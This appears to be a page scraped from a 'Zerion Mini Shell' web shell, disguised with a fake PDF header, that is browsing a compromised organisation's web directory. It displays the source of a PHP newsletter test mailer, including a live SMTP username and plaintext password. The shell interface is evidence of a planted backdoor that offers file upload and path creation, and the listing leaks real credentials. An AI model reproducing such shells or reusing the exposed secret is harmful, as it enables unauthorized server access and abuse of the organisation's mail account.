%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/congress-intercultural.eu/public_html/
Upload File :
Create Path :
Current File : /home/alliance/domains/congress-intercultural.eu/public_html/a-newsletter_mail_test.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/init.php");
include_once("inc/session.php");
include_once("inc/phpmailer/class.phpmailer.php");

verif_co_admin();



$file = fopen ("mailtemp.html", "a+");
$message = fread($file, filesize("mailtemp.html"));
fclose($file);



$subject="=?UTF-8?B?".base64_encode(stripslashes("Alliance : ".$_POST['titre']))."?=";

$headers= "From: \"European Alliance of Cities and Regions for Roma Inclusion\" <".$email_noreply.">\n";
$headers.='Content-type: text/html; charset=utf-8';
//mail($_POST['email'], $subject, $message, $headers);
$mail = new PHPMailer();
$mail->CharSet = 'UTF-8';
$mail->From = $email_noreply;
$mail->FromName = "European Alliance of Cities and Regions for Roma Inclusion";
$mail->Subject = "Alliance : ".$_POST['titre'];
$mail->MsgHTML($message);

$mail->AddAddress($_POST['email']);
$mail->IsSMTP(); // telling the class to use SMTP
$mail->SMTPDebug  = 0;                     // enables SMTP debug information (for testing)
$mail->SMTPAuth   = true;                  // enable SMTP authentication
$mail->Host       = "smtp.octomail.info"; // sets the SMTP server
$mail->Port       = 587;                    // set the SMTP port for the GMAIL server
$mail->Username   = "alliance@octomail.info"; // SMTP account username
$mail->Password   = "XMEUBWW8mUhP2yrR";       
$mail->send();
echo $_POST['email'];
echo ' <span class="succed">Envoyé</span>';

?>

Zerion Mini Shell 1.0